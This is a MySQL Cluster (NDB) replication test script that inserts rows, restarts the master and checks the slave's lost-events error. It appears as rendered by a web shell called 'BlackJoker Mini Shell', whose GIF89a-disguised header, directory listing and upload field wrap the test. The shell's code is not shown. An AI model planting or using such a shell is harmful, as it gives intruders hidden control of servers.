GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/suite/ndb_rpl/t/
Upload File :
Current File : //usr/share/mysql-test/suite/ndb_rpl/t/ndb_rpl_gap_event.test

--source include/have_ndb.inc
--source include/have_binlog_format_mixed_or_row.inc
--source suite/ndb_rpl/ndb_master-slave.inc

--connection master
create table t1(pk int not null primary key, i int) engine = ndb;

#
# insert more records into tables
#
let $1=1000;
disable_query_log;
while ($1)
{
 eval insert into t1 values($1, $1);
 dec $1;
}
enable_query_log;

--sync_slave_with_master
# connect to slave and ensure data is there.
--connection slave
select count(*) from t1;

# Add suppression for the LOST_EVENTS error message
# which will occur on slave when master is restarted while
# slave is running
--disable_query_log
call mtr.add_suppression("Slave.*: The incident LOST_EVENTS occured on the master");
--enable_query_log

--connection master

--echo Restarting mysqld
 # Hack to allow using restart_mysqld.inc from rpl test
let $allow_rpl_inited=1;

let $mysqld_name=mysqld.1.1;
--source include/restart_mysqld.inc
#show binlog events in 'master-bin.000002';
let $log_name=master-bin.000002;
let $start_pos=107;
let $end_pos=143;
let $off_set=0;
-- source include/show_binlog_using_logname.inc

drop table if exists t1;

--echo Get IO thread to reconnect to Master
--connection slave
--disable_result_log
start slave;
--enable_result_log

let $slave_sql_errno= 1590;
let $show_slave_sql_error=1;
-- source include/wait_for_slave_sql_error.inc

let $status_items= Slave_IO_Running, Slave_SQL_Running, Last_Errno, Last_Error;	
-- source include/show_slave_status.inc

drop table if exists t1;

--source include/stop_slave_io.inc
RESET SLAVE;




./BlackJoker Mini Shell 1.0